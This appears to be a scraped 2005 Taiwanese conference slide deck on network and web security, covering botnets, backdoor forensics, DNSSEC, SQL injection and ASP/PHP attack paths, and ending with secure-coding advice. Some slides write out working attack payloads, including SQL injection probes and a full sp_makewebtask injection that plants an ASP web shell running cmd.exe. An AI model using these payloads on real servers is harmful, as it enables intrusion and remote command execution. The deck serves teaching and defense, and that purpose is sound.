510 likes | 654 Views
WISE 2005 Conference. Presented by Erion Lin, Department of Information Management, National Taiwan University. Outline. Introduction Network Security Botnet Forensic Analysis of Reverse Backdoor DNSSEC Net Gap Program Security SQL Injection Security Problems of ASP
E N D
WISE 2005 Conference Presented by Erion Lin, Department of Information Management, National Taiwan University
Outline • Introduction • Network Security • Botnet • Forensic Analysis of Reverse Backdoor • DNSSEC • Net Gap • Program Security • SQL Injection • Security Problems of ASP • Security Problems of PHP • Some Hack Skills • Conclusion
Introduction • 2004年爆發多起資訊安全事件 • 中國大陸駭客入侵總統府網站 • 大陸網軍對我數位社會的威脅 • 健保、車籍資料外洩數百萬筆 • 網路犯罪案件數的大幅度成長
Introduction (Cont’d) • 2004年10月21日,行政院頒布「各政府機關(構)落實資安事件危機處理具體執行方案,要求「各政府機關(構)對極重要、重要之敏感文件、資料、檔案等之處理,應採取檔案加密方式儲存,並除非常必要之連網外,均兼採實體隔離等防護措施,以防止被侵入破壞、竄改、刪除或未經授權之存取動作」。
Botnet Zombie3 Zombie2 Zombie4 Zombie1 Zombie5 Internet Horn Attack Hacker
rabbi.bi-apple.net Bi-apple Backdoor─Initial State rabbi.bi-apple.net 127.0.0.1 Victim Target Server Zombie3 Zombie2 Zombie1 Intranet Internet Firewall Bi-apple DNS Server Router DMZ DNS Server Hacker
rabbi.bi-apple.net rabbi.bi-apple.net 61.221.104.181 Backdoor Active State 61.221.104.181 rabbi.bi-apple.net 61.221.104.181 Victim Target Server Zombie3 Zombie2 Zombie1 Intranet Internet Firewall Bi-apple DNS Server Router DMZ DNS Server Hacker
Attack Remote Control Syn from Victim 61.221.104.181:80 Remote Control Backdoor Active State(Cont’d) rabbi.bi-apple.net 61.221.104.181 61.221.104.181 Victim Target Server Zombie3 Zombie2 Zombie1 Intranet Internet Firewall Bi-apple DNS Server Router DMZ DNS Server Hacker
Feature of Bi-Apple Backdoor • Hard to Detect • Reverse Backdoor • Easy to Change the Zombie
Digital Forensic Analysis • On-Line Analysis • Off-Line Analysis
On-Line Analysis • Emergency Recovery • Find Out the Reason
On-Line Analysis Steps • Remove Process • Remove File and Registry • Reboot
Step9:Stop Running Process • explorer.exe • IEXPLORE.exe
Step10:Delete Malicious Registry • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{B49DA3DF-E569-423d-BDEA-8F89128E8107} • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{2E8A6CF6-3500-4A7D-9F54-69CD76D367D2}
Step11:Reboot • Check System Activities Again • Check Network Activities Again
Fake DNS Message DNS Message Accepted Accepted Normal DNS Internet Hacker DNS Administrator DNS Server
Fake DNS Message DNS Message Accepted Rejected DNSSEC Internet Hacker DNS Administrator DNS Server with DNSSEC
DNSSEC • TSIG • Secret Key • One-Way Hash Function • SIG0 • Public Key
Malicious TCP/TP Packet Processing Packet Normal TCP/IP Packet Net Gap Internet Firewall Net Gap1 Router Net Gap2 Intranet
Net Gap(Cont’d) • Net Gap1:Deconstruct Packets • Net Gap2:Reconstruct Packets
SQL Injection • The attacker can execute arbitrary SQL queries AND/OR commands on the backend database server through the Web application.
SQL Injection Detective Skill • Before • http://www.ox.com.tw/script.asp?id=2’ IE returns ODBC error record. • New Generation • http://www.ox.com.tw/script.asp?id=2 and 1=1IE returns normal record. • http://www.ox.com.tw/script.asp?id=2 and 1=2IE returns no record.
Security Problems of ASP XP_CMDSHELL Recovery xp_cmdshell Others (mdb) (db2) (Informix) Upload Area Install Web Shell Add New Account MS SQL SQL Injection DB Detecting Echo script Echo exe file Firewall Outbound testing MySQL Directory traversal File Information Leak Oracle FTP TFTP 網芳 Configure File Default configure Install Backdoor Failure Success
Hack Skills of ASP • ASP SQL Injection • MSSQL DB Detection Skill • MSSQL Store Procedure Skill • ASP WebShell Skill • Firewall Outbound Shell • One Way Hacking • Backdoor Skill
Security Problems of PHP Password Breaking Program Others (mdb) (db2) (Informix) Password File Upload Area Load File Testing Account and Password MS SQL System Configuration File Homepage Source Code Program Defection SQL Injection DB Detection Install Backdoor Save File Testing MySQL Directory traversal File Information Leak Install Web Shell Oracle Create Temp DB System Section Writable Web Section Writable Configure File Default configure Override MySQL Save Backdoor into DB Failure Success
Hack Skills of PHP • Writable Directory Testing Skill • File Uploading DB Skill • Temp Table Design Dkill • PHP WebShell Skill • Password Breaking Skill • Unix Backdoor Skill
MSSQL DB Detection Skill And 1=(Select @@version) MSSQL 版本資訊
MSSQL Store Procedure Skill • http://www.ox.com.tw/asp/test.asp?id=294 and 1=(SELECT count(*) FROMmaster.dbo.sysobjectsWHERE xtype = 'X‘AND name= 'xp_cmdshell') • 存在xp_cmdshell 的話 • 會顯示原有新聞資料 • 不存在xp_cmdshell 的話 • 會出現錯誤訊息或跳回首頁
ASP WebShell Skill • exec sp_makewebtask @outputfile%3d‘c:\inetpub\wwwroot/a.asp',@charset%3dbig5,@query%3d'select ''<%25On Error Resume Next : Set oscript %3d Server.CreateObject("wscript.SHELL") : Set oscriptNet %3d Server.CreateObject("wscript.NETWORK") : Set oFileSys %3d Server.CreateObject("scripting.FileSystemObject") : szCMD %3d Request.Form(".CMD") : If (szCMD <>"")Then : szTempFile %3d "C:\" %26 oFileSys.GetTempName() : Call oscript.Run ("cmd.exe /c " %26 szCMD %26 " > " %26 szTempFile, 0, True) : Set oFile %3d oFilesys.OpenTextFile (szTempFile, 1, False, 0) End If %25> <HTML><BODY><FORM action%3d"<%25%3d Request.ServerVariables("URL")%25>" method%3d"POST"> <input type%3dtext name%3d".CMD" size%3d45 value%3d"<%25%3d szCMD %25>"><input type%3dsubmit value%3d"Run"> </FORM><PRE> <%25 If (IsObject(oFile))Then : On Error Resume Next : Response.Write Server.HTMLEncode(oFile.ReadAll) : oFile.Close : Call oFileSys.DeleteFile(szTempFile, True) : End If%25> </BODY></HTML> '‘ '
Backdoor Skills • 重用連接埠技術 • 典型代表後門: 駭客之門 • 它只有一個dll檔案,通過感染系統檔案啟動自身,被感染的系統檔案大小和日期都不會改變;. 同時採用線程插入技術,本身沒有進程;它本身不開連接埠,而是重用系統進程開的任意一個連接埠,如80,135,139,445等
Reuse Port Skill Firewall(外對內開21,80, 內對外全設限) 2 Web FTP IE 3 ftp BD 1
Conclusion • Software Security Quality • Identify all data of user input. • Handle meta-character carefully. • Don’t give too much error message to user. • Try to understand the characteristic of programming language. • Avoid using APIs that will call shell directly. • Check all application’s default setting • New Version of BS7799 • Different vendors. • Information Security Education • Management, Information and System